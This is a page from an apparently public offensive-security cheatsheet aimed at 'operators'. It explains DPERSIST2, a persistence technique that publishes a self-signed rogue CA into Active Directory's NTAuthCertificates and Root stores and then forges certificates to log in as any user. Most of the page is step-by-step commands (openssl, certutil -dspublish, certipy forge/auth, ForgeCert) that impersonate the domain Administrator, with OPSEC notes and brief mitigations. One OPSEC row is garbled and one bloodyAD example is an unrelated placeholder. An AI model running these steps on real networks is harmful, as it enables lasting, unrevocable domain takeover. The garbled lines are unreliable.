daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

dpersist2-rogue-ca-certificate-ntauth-injection.md (5138B)


      1 ---
      2 title: "DPERSIST2 — Rogue CA Certificate (NTAuth Injection)"
      3 description: "The forest trusts any certificate chaining to a CA published in the NTAuthCertificates object for domain authentication. Normally that list holds only the…"
      4 category: active-directory
      5 subcategory: "ADCS & Certificates"
      6 tags: ["active-directory", "adcs", "persistence"]
      7 tools: ["Certipy", "OpenSSL", "PowerShell"]
      8 difficulty: advanced
      9 updated: "2026-08-10"
     10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/DPERSIST2 — Rogue CA Certificate (NTAuth Injection).md"
     11 ---
     12 # DPERSIST2 — Rogue CA Certificate (NTAuth Injection)
     13 
     14 ## Quick Reference
     15 
     16 | Field | Value |
     17 |-------|-------|
     18 | **Category** | Domain Persistence |
     19 | **Difficulty** | High |
     20 | **Pre-requisites** | Write to the `NTAuthCertificates` object (Enterprise Admin, or WriteDACL on the PKI config container) |
     21 | **Tools** | Certipy (`forge`), certutil, ForgeCert |
     22 | **OPSEC Noise** | Medium — one AD write, then silent offline forgery |
     23 | **One-liner** | Add your **own** attacker-generated CA certificate to the forest's `NTAuthCertificates` store, then forge and sign authentication certificates for **any** principal, indefinitely. |
     24 
     25 ***
     26 
     27 ## What Is DPERSIST2?
     28 
     29 The forest trusts any certificate chaining to a CA published in the **`NTAuthCertificates`** object for domain authentication. Normally that list holds only the org's real CAs. If you can **write your own self-signed CA cert into that list** (and the Root store), your rogue CA becomes trusted forest-wide. You then sign auth certs for anyone offline — the real CA never sees them, so they **cannot be revoked** and persist until your rogue CA cert is removed or expires (default ~5 years).
     30 
     31 This differs from DPERSIST1 (which steals the *existing* CA key). Here you introduce a *new* trusted CA.
     32 
     33 <figure class="flow plate corners">
     34 <figcaption class="flow__cap"><span class="flow__kind">Rogue CA persistence</span><span class="flow__dir">LR</span></figcaption>
     35 <div class="flow__body">
     36 <div class="flow__diagram" data-dir="lr">
     37 <div class="flow-rank"><div class="flow-node is-entry">Generate rogue<span class="sub">CA keypair</span></div></div>
     38 <div class="flow-edge"></div>
     39 <div class="flow-rank"><div class="flow-node">Publish to<span class="sub">NTAuthCertificates + RootCA</span></div></div>
     40 <div class="flow-edge"></div>
     41 <div class="flow-rank"><div class="flow-node">certipy forge<span class="sub">cert for any user</span></div></div>
     42 <div class="flow-edge"></div>
     43 <div class="flow-rank"><div class="flow-node is-goal">PKINIT auth<span class="sub">as that user</span></div></div>
     44 </div>
     45 </div>
     46 </figure>
     47 
     48 ***
     49 
     50 ## Step 1 — Generate a Rogue CA
     51 
     52 ```bash
     53 # Certipy can generate a CA cert + key for forging
     54 certipy-ad ca -backup ...        # (if extracting an existing one)
     55 # or craft a self-signed CA with openssl
     56 openssl req -x509 -newkey rsa:2048 -keyout rogue-ca.key -out rogue-ca.crt \
     57   -days 1825 -nodes -subj "/CN=Rogue-CA"
     58 openssl pkcs12 -export -inkey rogue-ca.key -in rogue-ca.crt -out rogue-ca.pfx -passout pass:
     59 ```
     60 
     61 ***
     62 
     63 ## Step 2 — Publish It as Trusted (requires high privilege)
     64 
     65 ```powershell
     66 # Add the rogue CA to the forest NTAuth store (Enterprise Admin)
     67 certutil.exe -dspublish -f rogue-ca.crt NTAuthCA
     68 
     69 # Also add to the Root store so the chain validates
     70 certutil.exe -dspublish -f rogue-ca.crt RootCA
     71 ```
     72 
     73 ```bash
     74 # Linked writes can also be done over LDAP with the right rights (e.g. bloodyAD)
     75 bloodyAD -u admin -p pass -d domain.htb --host $TARGET \
     76   add dcsync ...   # example of the privileged-write tooling class
     77 ```
     78 
     79 ***
     80 
     81 ## Step 3 — Forge Certs for Anyone
     82 
     83 ```bash
     84 certipy-ad forge \
     85   -ca-pfx rogue-ca.pfx \
     86   -upn 'administrator@domain.htb' \
     87   -subject 'CN=Administrator,CN=Users,DC=domain,DC=htb' \
     88   -out admin_forged.pfx
     89 
     90 certipy-ad auth -pfx admin_forged.pfx -dc-ip $TARGET   # PKINIT as Administrator
     91 ```
     92 
     93 ```powershell
     94 # Windows: ForgeCert
     95 ForgeCert.exe --CaCertPath rogue-ca.pfx --CaCertPassword "" \
     96   --Subject "CN=User" --SubjectAltName "administrator@domain.htb" \
     97   --NewCertPath admin.pfx --NewCertPassword ""
     98 ```
     99 
    100 ***
    101 
    102 ## OPSEC Considerations
    103 
    104 | Action | Log | Noise |
    105 | :-- | :-- | :-- |
    106 | `certutil -dspublish` to NTAuth | AD object write; Event 4899/4im=config change | 🟡 Medium |
    107 | Forged-cert PKINIT | Event 4768 — but cert chains to unknown CA | 🟡 Medium |
    108 
    109 > [!warning] Loud in the right monitor
    110 > Writes to `NTAuthCertificates` are rare and high-signal. Mature environments alert on any change to it.
    111 
    112 ***
    113 
    114 ## Mitigation
    115 
    116 - Tightly restrict write access to `CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration`.
    117 - Alert on **any** modification of the NTAuth store and Root CA store.
    118 - Periodically baseline the trusted-CA list and investigate unknown CAs.
    119 
    120 ***
    121 
    122 ## See Also
    123 
    124 - _ADCS Attack Methodology Guide · Golden Certificate Attack — DPERSIST1 · DPERSIST3 — Malicious Misconfiguration (ACL Backdoor)
    125 - Sources: SpecterOps *Certified Pre-Owned*; [ForgeCert](https://github.com/GhostPack/ForgeCert); [The Hacker Recipes — Certificate authority](https://www.thehacker.recipes/ad/persistence/adcs/certificate-authority)